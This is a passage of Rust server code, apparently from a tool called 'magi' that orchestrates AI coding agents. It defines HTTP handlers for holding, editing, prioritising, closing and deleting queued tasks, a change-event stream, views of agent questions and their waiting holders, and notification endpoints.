7263            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7264            reviewers: collected
7265                .reviewers
7266                .iter()
7267                .map(ReviewerStatsView::from)
7268                .collect(),
7269            advisors: collected
7270                .advisors
7271                .iter()
7272                .map(AdvisorStatsView::from)
7273                .collect(),
7274            e2e: E2eStatsView::from(&collected.e2e),
7275            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7276            queue: queue_counts,
7277            runs_unreadable: runs_unreadable(&ui.runs),
7278            repos,
7279            daily: daily.iter().map(DailyStatsView::from).collect(),
7280            repo: q.repo.clone(),
7281            retired_hidden: collected.retired_hidden.clone(),
7282        }))
7283    })
7284    .await
7285}
7286
7287/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7288/// gives no reason - which must keep working, since not every hold has one.
7289#[derive(Debug, Default, Deserialize)]
7290#[serde(default, deny_unknown_fields)]
7291struct HoldBody {
7292    reason: Option<String>,
7293}
7294
7295async fn queue_hold(
7296    State(ui): State<Arc<Ui>>,
7297    Path(id): Path<String>,
7298    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7299) -> ApiResult<Json<TaskView>> {
7300    // An absent body is the ordinary case - most holds are unexplained, and
7301    // that has to stay a one-tap action rather than a form. A body that is
7302    // present and malformed is still a bad request.
7303    let body = match body {
7304        Ok(Json(body)) => body,
7305        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7306        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7307    };
7308    let reason = body.reason.filter(|r| !r.trim().is_empty());
7309    mutate(ui, id, move |t| {
7310        t.hold_manual(reason.clone());
7311        Ok(())
7312    })
7313    .await
7314}
7315
7316async fn queue_release(
7317    State(ui): State<Arc<Ui>>,
7318    Path(id): Path<String>,
7319) -> ApiResult<Json<TaskView>> {
7320    mutate(ui, id, |t| {
7321        t.release_operator("web", None);
7322        Ok(())
7323    })
7324    .await
7325}
7326
7327#[derive(Debug, Deserialize)]
7328#[serde(deny_unknown_fields)]
7329struct AttemptLimitBody {
7330    // Required even when clearing: missing fields must not silently erase an override.
7331    attempt_limit: serde_json::Value,
7332}
7333
7334async fn queue_attempt_limit(
7335    State(ui): State<Arc<Ui>>,
7336    Path(id): Path<String>,
7337    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7338) -> ApiResult<Json<TaskView>> {
7339    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7340    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7341        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7342    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7343}
7344
7345#[derive(Debug, Deserialize)]
7346#[serde(deny_unknown_fields)]
7347struct ImplementersBody {
7348    implementers: u8,
7349}
7350
7351async fn queue_implementers(
7352    State(ui): State<Arc<Ui>>,
7353    Path(id): Path<String>,
7354    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7355) -> ApiResult<Json<TaskView>> {
7356    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7357    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7358}
7359
7360#[derive(Debug, Deserialize)]
7361#[serde(deny_unknown_fields)]
7362struct UrgentBody {
7363    urgent: bool,
7364}
7365
7366async fn queue_urgent(
7367    State(ui): State<Arc<Ui>>,
7368    Path(id): Path<String>,
7369    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7370) -> ApiResult<Json<TaskView>> {
7371    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7372    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7373}
7374
7375/// The body of `POST /api/queue/{id}/priority`.
7376#[derive(Debug, Deserialize)]
7377#[serde(deny_unknown_fields)]
7378struct PriorityBody {
7379    priority: i32,
7380}
7381
7382/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7383///
7384/// [`Task::set_priority`] is the one place the "not while running" rule is
7385/// stated; this route only carries the body to it and lets its `Err` become
7386/// the 4xx the card shows.
7387async fn queue_priority(
7388    State(ui): State<Arc<Ui>>,
7389    Path(id): Path<String>,
7390    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7391) -> ApiResult<Json<TaskView>> {
7392    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7393    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7394}
7395
7396/// The body of `POST /api/queue/{id}/edit`.
7397#[derive(Debug, Deserialize)]
7398#[serde(deny_unknown_fields)]
7399struct EditBody {
7400    title: String,
7401    instruction: String,
7402    /// Save even though the new text names a branch, commit or pull request
7403    /// that unfinished work already owns.
7404    #[serde(default)]
7405    force: bool,
7406}
7407
7408/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7409/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7410/// that refusal's message is what the sheet shows back.
7411async fn queue_edit(
7412    State(ui): State<Arc<Ui>>,
7413    Path(id): Path<String>,
7414    body: std::result::Result<Json<EditBody>, JsonRejection>,
7415) -> ApiResult<Json<TaskView>> {
7416    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7417    // The judge is an agent call, so it is awaited here, outside the claim
7418    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7419    // remembered, and the save refuses if the task moved underneath it.
7420    let mut judged: Option<(String, PathBuf)> = None;
7421    if !body.force {
7422        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7423        let (id, text) = (id.clone(), body.instruction.clone());
7424        let (seen, hits) = blocking(move || {
7425            let id = resolve_task(&queue, &id)?;
7426            let t = queue.get(&id)?;
7427            if text == t.instruction {
7428                return Ok((None, Vec::new()));
7429            }
7430            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7431            Ok((Some((t.instruction, t.repo)), hits))
7432        })
7433        .await?;
7434        if let Some((_, repo)) = &seen {
7435            let cfg = crate::config::Config::discover(repo, None)
7436                .ok()
7437                .map(|(c, _)| c);
7438            let screened =
7439                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7440                    .await
7441                    .map_err(|dup| {
7442                        ApiError::conflict(dup.render(
7443                            "Nothing was saved. If it is not a duplicate, repeat the request \
7444                             with \"force\": true.",
7445                        ))
7446                    })?;
7447            if let crate::dupes::Screened::Unjudged(why) = screened {
7448                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7449            }
7450        }
7451        judged = seen;
7452    }
7453    let force = body.force;
7454    mutate(ui, id, move |t| {
7455        if !force && body.instruction != t.instruction {
7456            match &judged {
7457                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7458                _ => {
7459                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7460                }
7461            }
7462        }
7463        t.edit(body.title.clone(), body.instruction.clone())
7464    })
7465    .await
7466}
7467
7468/// `POST /api/queue/{id}/done` - close a task as finished without deleting
7469/// it, so the phone's other way to clear a task from the backlog does not
7470/// have to cost the run history, the attribution, and `created_at` the way
7471/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
7472/// can be marked done by hand, because this is for the run the loop never
7473/// saw land - a merge done by hand, or a gate that misreported - and that can
7474/// happen from any status the task was left in.
7475async fn queue_done(
7476    State(ui): State<Arc<Ui>>,
7477    Path(id): Path<String>,
7478) -> ApiResult<Json<TaskView>> {
7479    let home = ui.home.clone();
7480    mutate(ui, id, move |t| {
7481        t.succeed();
7482        // Same as the loop's own settle path: closing a task by hand is just
7483        // as much "this task's story is over" as a daemon-driven `Merged`/
7484        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
7485        // behind must stop looking like it still needs a human. `ui.home`,
7486        // not the process-global `run::home()`: they agree in a real
7487        // process, but only `ui.home` also agrees with a test fixture's own
7488        // directory.
7489        crate::daemon::supersede_prior_runs(t, &home);
7490        Ok(())
7491    })
7492    .await
7493}
7494
7495/// `DELETE /api/queue/{id}`.
7496///
7497/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7498/// names this task: a `running` status or an orphaned `.lock` left behind by a
7499/// killed daemon is a leftover, and treating either as authority made the
7500/// task undeletable from the phone for good. The associated runs, if any, are
7501/// kept: a run is self-contained history and not an appendage of the task.
7502async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7503    blocking(move || {
7504        let id = resolve_task(&ui.queue, &id)?;
7505        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7506        ui.queue
7507            .remove(&id, in_flight, &ui.questions)
7508            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7509        Ok(StatusCode::NO_CONTENT)
7510    })
7511    .await
7512}
7513
7514/// Read a task, change it, write it back, under the queue's own lock.
7515///
7516/// Taking the same claim a daemon takes is what makes hold, release,
7517/// priority, edit, and done safe to press while magi is running: without it
7518/// the daemon's next save would land on top of the operator's change and
7519/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7520/// both do, for a running task - and that refusal becomes the 4xx the card
7521/// shows, same as any other domain rule.
7522async fn mutate(
7523    ui: Arc<Ui>,
7524    id: String,
7525    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7526) -> ApiResult<Json<TaskView>> {
7527    blocking(move || {
7528        let id = resolve_task(&ui.queue, &id)?;
7529        // `claim` fails when the lock file already exists, which is the
7530        // conflict the UI must report: the daemon owns that task's file for
7531        // as long as it is running it, and our write would be lost under its
7532        // next save. The message names the lock either way.
7533        let _claim = ui.queue.claim(&id).map_err(|e| {
7534            ApiError::conflict(format!(
7535                "{e:#} - a daemon is running this task, so it cannot be \
7536                 changed from here yet; wait until it is released, then retry"
7537            ))
7538        })?;
7539        let mut task = ui.queue.get(&id)?;
7540        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7541            Ok(dup) => ApiError::conflict(dup.render(
7542                "Nothing was saved. If it is not a duplicate, repeat the request with \
7543                 \"force\": true.",
7544            )),
7545            Err(e) => ApiError::bad_request_from(e),
7546        })?;
7547        ui.queue.put(&mut task)?;
7548        Ok(Json(TaskView::from(task)))
7549    })
7550    .await
7551}
7552
7553/// The change stream: one revision number per store, on connect and whenever
7554/// any of them moves.
7555///
7556/// One shared worker scans stores; clients only forward its notifications.
7557async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7558    ui.monitor.ensure_worker(&ui);
7559    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7560    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7561
7562    let state = Arc::clone(&ui);
7563    tokio::spawn(async move {
7564        let initial_revisions = {
7565            let guard = match state.monitor.latest.lock() {
7566                Ok(g) => g,
7567                Err(p) => p.into_inner(),
7568            };
7569            guard.as_ref().map(|(r, _)| *r)
7570        };
7571        if let Some(revisions) = initial_revisions {
7572            let initial_payload = serde_json::json!({
7573                "queue_rev": revisions.0,
7574                "runs_rev": revisions.1,
7575                "questions_rev": revisions.2,
7576                "talks_rev": revisions.3,
7577                "notifications_rev": revisions.4,
7578                "loop_rev": revisions.5,
7579            });
7580
7581            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7582                if tx.send(event).await.is_err() {
7583                    return;
7584                }
7585            }
7586        }
7587
7588        loop {
7589            match tokio::select! {
7590                _ = tx.closed() => return,
7591                value = broadcast_rx.recv() => value,
7592            } {
7593                Ok(notif) => {
7594                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7595                    else {
7596                        break;
7597                    };
7598                    if tx.send(event).await.is_err() {
7599                        break;
7600                    }
7601                }
7602                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7603                    let revs = {
7604                        let guard = match state.monitor.latest.lock() {
7605                            Ok(g) => g,
7606                            Err(p) => p.into_inner(),
7607                        };
7608                        guard.as_ref().map(|(r, _)| *r)
7609                    };
7610                    if let Some(revs) = revs {
7611                        let payload = serde_json::json!({
7612                            "queue_rev": revs.0,
7613                            "runs_rev": revs.1,
7614                            "questions_rev": revs.2,
7615                            "talks_rev": revs.3,
7616                            "notifications_rev": revs.4,
7617                            "loop_rev": revs.5,
7618                        });
7619                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7620                            if tx.send(event).await.is_err() {
7621                                break;
7622                            }
7623                        }
7624                    }
7625                }
7626                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7627                    break;
7628                }
7629            }
7630        }
7631    });
7632
7633    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7634        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7635}
7636
7637/// Run ids under `runs`, newest first.
7638///
7639/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7640/// which reads the process-global home: the server has to be drivable against
7641/// a temp directory for any of this to be testable.
7642fn run_ids(runs: &FsPath) -> Vec<String> {
7643    let mut ids: Vec<String> = std::fs::read_dir(runs)
7644        .into_iter()
7645        .flatten()
7646        .flatten()
7647        .filter(|e| e.path().join("run.json").is_file())
7648        .map(|e| e.file_name().to_string_lossy().into_owned())
7649        .collect();
7650    // Ids start with a sortable timestamp.
7651    ids.sort_unstable_by(|a, b| b.cmp(a));
7652    ids
7653}
7654
7655/// Read one run's state from an explicit runs root.
7656fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7657    let path = runs.join(id).join("run.json");
7658    let body =
7659        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7660    let state: RunState =
7661        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7662    // The same migration `RunState::load` applies, so a record from the
7663    // previous schema reads here as it does everywhere else (an origin-less
7664    // run shows as "origin unknown") instead of vanishing from the phone the
7665    // moment the schema is bumped.
7666    run::migrate_schema(state)
7667}
7668
7669/// Runs on disk under `runs` whose state this build cannot parse - almost
7670/// always a schema bump, occasionally a run killed mid-write.
7671///
7672/// Exposed so every surface that reports on runs shares one count instead of
7673/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7674/// `magi doctor` calls this directly rather than guessing at the same number
7675/// a second way.
7676#[must_use]
7677pub fn runs_unreadable(runs: &FsPath) -> usize {
7678    run_ids(runs)
7679        .into_iter()
7680        .filter(|id| read_run(runs, id).is_err())
7681        .count()
7682}
7683
7684fn plain_record_id(id: &str) -> bool {
7685    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7686}
7687
7688/// Expand an id or short id to exactly one run id.
7689fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7690    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7691        return Ok(id.to_owned());
7692    }
7693    pick(run_ids(runs), id, "run")
7694}
7695
7696/// Expand an id or short id to exactly one task id.
7697fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7698    if plain_record_id(id) && queue.path_of(id).is_file() {
7699        return Ok(id.to_owned());
7700    }
7701    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7702    pick(ids, id, "task")
7703}
7704
7705/// A question as the phone reads it.
7706///
7707/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7708/// text already parsed into a node tree so the client never runs its own
7709/// markdown reader over agent-authored prose. A relative image path in it
7710/// resolves against this question's own panel asset route, which is the one
7711/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7712/// separate, sandboxed document, but `detail` is rendered inline in the
7713/// operator's own page, so an image reference in it may only ever point at
7714/// files magi itself already serves for this question.
7715#[derive(Debug, Serialize)]
7716struct QuestionView {
7717    choice_effects: std::collections::BTreeMap<String, String>,
7718    record_revision: String,
7719    #[serde(flatten)]
7720    question: Question,
7721    detail_md: Vec<md::Node>,
7722    posting_view: Option<PostingView>,
7723    /// Each thread turn's body, parsed; same order as `question.thread`.
7724    thread_bodies_md: Vec<Vec<md::Node>>,
7725    /// Each thread turn's deputy note, parsed (`None` for a turn without
7726    /// one); same order as `question.thread`.
7727    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7728    /// Is the ball in the agent's court right now?
7729    ///
7730    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7731    /// [`Question::say`] - so this is the one field that tells the phone to
7732    /// disable the answer controls and show "waiting for the agent" instead of
7733    /// a card the owner can act on. Computed rather than stored on
7734    /// [`Question`] itself, on the same reasoning as `waiting` on
7735    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7736    /// it here means the client never has to re-derive that rule.
7737    waiting_on_agent: bool,
7738    /// Who is waiting on this open question - see [`holder_of`]. Separate
7739    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7740    /// anyone is there to take it.
7741    holder: Option<&'static str>,
7742    /// Whether `magi serve` can start a follow-up agent for a conductor
7743    /// question at all: false when `daemon.max_deputies = 0` or the config is
7744    /// unreadable. Separate from `holder`, which says who is listening now.
7745    deputies_enabled: bool,
7746    /// All starts were spent and no live holder remains. Display-only: the
7747    /// final attempt increments `starts` before running under its lease.
7748    deputy_exhausted: bool,
7749    text_delivery: crate::question_delivery::Availability,
7750    /// `question.run` is a task id (conductor / triage questions), not a run
7751    /// id, so the UI links it to the task page.
7752    run_is_task: bool,
7753    /// The existing chat this question's task came from, including settled
7754    /// questions - see [`crate::consult::associated_talk`].
7755    origin_chat: Option<String>,
7756    /// `origin_chat` is closed; consulting reopens it first.
7757    origin_chat_closed: bool,
7758    /// Consultation eligibility is separate from navigation to the chat.
7759    can_consult_chat: bool,
7760}
7761
7762#[derive(Debug, Serialize)]
7763struct PostingView {
7764    before_md: Vec<md::Node>,
7765    after_md: Vec<md::Node>,
7766    fields: Vec<crate::github_text::ComparisonView>,
7767}
7768
7769fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7770    let comparison = question.posting_comparison.as_ref()?;
7771    if !comparison.matches_detail(&question.detail) {
7772        return None;
7773    }
7774    let mut ids = std::collections::BTreeSet::new();
7775    if comparison.fields.is_empty()
7776        || comparison
7777            .fields
7778            .iter()
7779            .flat_map(|f| &f.pairs)
7780            .any(|p| !ids.insert(p.id))
7781        || comparison
7782            .fields
7783            .iter()
7784            .flat_map(|f| &f.original_triggers)
7785            .any(|t| !ids.insert(t.id))
7786    {
7787        return None;
7788    }
7789    let fields = comparison
7790        .fields
7791        .iter()
7792        .map(|f| f.view(comparison.excerpt))
7793        .collect::<Option<Vec<_>>>()?;
7794    Some(PostingView {
7795        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7796        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7797        fields,
7798    })
7799}
7800
7801impl QuestionView {
7802    /// The view of `question`, reading who is waiting on it from `store`.
7803    ///
7804    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7805    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7806        let base = md::ImageBase::QuestionPanel {
7807            id: question.id.clone(),
7808        };
7809        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7810        Self {
7811            choice_effects: question
7812                .choices
7813                .iter()
7814                .filter_map(|c| {
7815                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7816                })
7817                .collect(),
7818            record_revision: question_record_revision(&question),
7819            detail_md: md::to_nodes(&question.detail, &base),
7820            posting_view: posting_view(&question, &base),
7821            thread_bodies_md: question
7822                .thread
7823                .iter()
7824                .map(|t| md::to_nodes(&t.body, &base))
7825                .collect(),
7826            thread_notes_md: question
7827                .thread
7828                .iter()
7829                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7830                .collect(),
7831            deputy_exhausted: store.deputy_exhausted(&question),
7832            waiting_on_agent: question.waiting_on_agent(),
7833            holder,
7834            deputies_enabled: deputies_enabled(cfg, &question),
7835            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7836            run_is_task: question.run_names_task(),
7837            origin_chat: None,
7838            origin_chat_closed: false,
7839            can_consult_chat: false,
7840            question,
7841        }
7842    }
7843
7844    /// Fill `origin_chat` from the queue and the talks.
7845    fn with_origin(
7846        mut self,
7847        tasks: &[crate::queue::Task],
7848        talks: &[Talk],
7849        watches: &[crate::release_watch::WatchState],
7850    ) -> Self {
7851        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7852        self.can_consult_chat = consult.is_some();
7853        let talk =
7854            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7855        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7856        self.origin_chat = talk.map(|t| t.id);
7857        self
7858    }
7859}
7860
7861/// The config this repository resolves, or `None` when it cannot be read.
7862/// Discovering is git processes plus a config render, so a request that needs
7863/// it for many items takes it once and passes it down.
7864fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7865    Config::discover(repo, None).ok().map(|(c, _)| c)
7866}
7867
7868/// Can `magi serve` start a deputy for this question under `cfg`?
7869fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7870    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7871}
7872
7873/// The views `GET /api/questions` answers. `load` runs at most once, however
7874/// many questions there are, and not at all when there are none.
7875fn question_views(
7876    qs: Vec<Question>,
7877    store: &ask::Questions,
7878    load: impl FnOnce() -> Option<Config>,
7879) -> Vec<QuestionView> {
7880    if qs.is_empty() {
7881        return Vec::new();
7882    }
7883    let cfg = load();
7884    qs.into_iter()
7885        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7886        .collect()
7887}
7888
7889/// Who is honestly waiting on an open question right now: `"asker"` (the
7890/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7891/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7892/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7893/// up, or the question never had anyone listening (a conductor question or a
7894/// merge approval from before deputies, or not yet given one).
7895///
7896/// `None` for a question that is settled, and for one that is not an agent's
7897/// to wait on at all (a release notice).
7898fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7899    if !q.status.open() {
7900        return None;
7901    }
7902    if q.cwd.is_none()
7903        && q.deputy.is_none()
7904        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7905    {
7906        return crate::deputy::kind_of(q).map(|_| "nobody");
7907    }
7908    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7909        Some(_) if q.deputy.is_some() => "deputy",
7910        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7911        Some(_) => "asker",
7912        None => "nobody",
7913    })
7914}
7915
7916/// `GET /api/questions`.
7917///
7918/// Everything, not just the open ones: an answered question is the record of a
7919/// decision, and the phone is where the operator goes back to check what they
7920/// told an agent at 3am. `ask::Questions::list` already ranks open first.
7921async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7922    blocking(move || {
7923        let questions = ui.questions.list();
7924        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7925        Ok(Json(
7926            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7927                .into_iter()
7928                .map(|view| view.with_origin(&tasks, &talks, &watches))
7929                .collect(),
7930        ))
7931    })
7932    .await
7933}
7934
7935/// Question content and answer controls never wait for task/chat provenance.
7936async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7937    blocking(move || {
7938        Ok(Json(question_views(
7939            ui.questions.list(),
7940            &ui.questions,
7941            || deputy_config(&ui.repo),
7942        )))
7943    })
7944    .await
7945}
7946
7947fn question_record_revision(question: &Question) -> String {
7948    use std::hash::{Hash as _, Hasher as _};
7949    let mut hash = std::hash::DefaultHasher::new();
7950    serde_json::to_vec(question)
7951        .expect("serializable question")
7952        .hash(&mut hash);
7953    format!("{:016x}", hash.finish())
7954}
7955
7956#[derive(Serialize)]
7957struct QuestionOriginView {
7958    id: String,
7959    record_revision: String,
7960    origin_chat: Option<String>,
7961    origin_chat_closed: bool,
7962    can_consult_chat: bool,
7963}
7964
7965async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7966    blocking(move || {
7967        let questions = ui.questions.list();
7968        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7969        Ok(Json(
7970            questions
7971                .into_iter()
7972                .map(|question| {
7973                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7974                    let can_consult_chat = consult.is_some();
7975                    let talk = crate::consult::associated_talk_with_watches(
7976                        &tasks, &talks, &question, &watches,
7977                    );
7978                    QuestionOriginView {
7979                        record_revision: question_record_revision(&question),
7980                        id: question.id,
7981                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7982                        origin_chat: talk.map(|talk| talk.id),
7983                        can_consult_chat,
7984                    }
7985                })
7986                .collect(),
7987        ))
7988    })
7989    .await
7990}
7991
7992type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7993
7994/// Only the task ancestry and chats these questions actually reference. Run
7995/// mappings share the reconciled queue index; exact task references bypass it.
7996/// No question means no task/chat I/O, including no index reconciliation.
7997fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7998    fn task_for_run(
7999        ui: &Ui,
8000        index: &mut Option<Vec<Arc<TaskRelation>>>,
8001        run: &str,
8002        loaded: &HashMap<String, Task>,
8003    ) -> ApiResult<Option<Task>> {
8004        if !plain_record_id(run) {
8005            return Ok(None);
8006        }
8007        if index.is_none() {
8008            *index = Some(ui.indexed_tasks()?);
8009        }
8010        Ok(index
8011            .as_ref()
8012            .expect("loaded index")
8013            .iter()
8014            .find(|task| task.runs.iter().any(|id| id == run))
8015            .and_then(|task| {
8016                loaded
8017                    .get(&task.id)
8018                    .cloned()
8019                    .or_else(|| ui.queue.get(&task.id).ok())
8020            })
8021            .filter(|task| task.runs.iter().any(|id| id == run)))
8022    }
8023    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8024        plain_record_id(id)
8025            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8026            .flatten()
8027            .filter(|task| task.id == id)
8028    };
8029    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8030    let mut index = None;
8031    let mut tasks = HashMap::new();
8032    let mut talks = HashMap::new();
8033    for question in questions {
8034        for reference in crate::consult::question_task_refs(question, &watches) {
8035            let mut current = match reference {
8036                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8037                crate::consult::QuestionTaskRef::Run(id) => {
8038                    task_for_run(ui, &mut index, id, &tasks)?
8039                }
8040            };
8041            let mut seen = HashSet::new();
8042            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8043                let Some(task) = current.take() else {
8044                    break;
8045                };
8046                if !seen.insert(task.id.clone()) {
8047                    break;
8048                }
8049                let chat = task.chat_talk().map(str::to_owned);
8050                let followup = task.followup.clone();
8051                tasks.insert(task.id.clone(), task);
8052                if let Some(chat) = chat {
8053                    if plain_record_id(&chat)
8054                        && !talks.contains_key(&chat)
8055                        && let Ok(talk) = ui.talks.get(&chat)
8056                    {
8057                        talks.insert(chat, talk);
8058                    }
8059                    break;
8060                }
8061                let Some(followup) = followup else {
8062                    break;
8063                };
8064                current = match followup.origin_task {
8065                    Some(id) => direct_task(&id, &tasks),
8066                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8067                };
8068            }
8069        }
8070    }
8071    let mut tasks: Vec<Task> = tasks.into_values().collect();
8072    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8073    Ok((tasks, talks.into_values().collect(), watches))
8074}
8075
8076/// `GET /api/notifications`: not dismissed, newest first, with the unread
8077/// count so the badge and the list cannot disagree.
8078async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8079    blocking(move || {
8080        let items = ui.notices.list();
8081        let unread = items.iter().filter(|n| n.unread()).count();
8082        let items: Vec<_> = items
8083            .into_iter()
8084            .map(|n| {
8085                let question = crate::notices::answerable_question(&n, &ui.questions);
8086                let mut item = serde_json::to_value(n)?;
8087                item["answerable_question"] = serde_json::json!(question);
8088                Ok(item)
8089            })
8090            .collect::<anyhow::Result<_>>()?;
8091        Ok(Json(
8092            serde_json::json!({ "unread": unread, "items": items }),
8093        ))
8094    })
8095    .await
8096}
8097
8098fn notice_error(e: anyhow::Error) -> ApiError {
8099    // An unknown or malformed id and a vanished file are the same answer to
8100    // the phone: that notification is gone.
8101    ApiError::not_found(format!("{e:#}"))
8102}
8103
8104/// `POST /api/notifications/{id}/read`.
8105async fn notification_read(
8106    State(ui): State<Arc<Ui>>,
8107    Path(id): Path<String>,
8108) -> ApiResult<Json<Notice>> {
8109    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8110}
8111
8112/// `POST /api/notifications/{id}/dismiss`.
8113async fn notification_dismiss(
8114    State(ui): State<Arc<Ui>>,
8115    Path(id): Path<String>,
8116) -> ApiResult<Json<Notice>> {
8117    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8118}
8119
8120/// `POST /api/notifications/read-all`.
8121async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8122    blocking(move || {
8123        let changed = ui.notices.mark_all_read()?;
8124        Ok(Json(serde_json::json!({ "marked": changed })))
8125    })
8126    .await
8127}
8128
8129/// The body of `POST /api/questions/{id}/answer`.
8130///
8131/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8132/// a bad request rather than a guess: an answer magi invented is worse than a
8133/// question left open.
8134#[derive(Debug, Default, Deserialize)]
8135#[serde(default, deny_unknown_fields)]
8136struct NewAnswer {
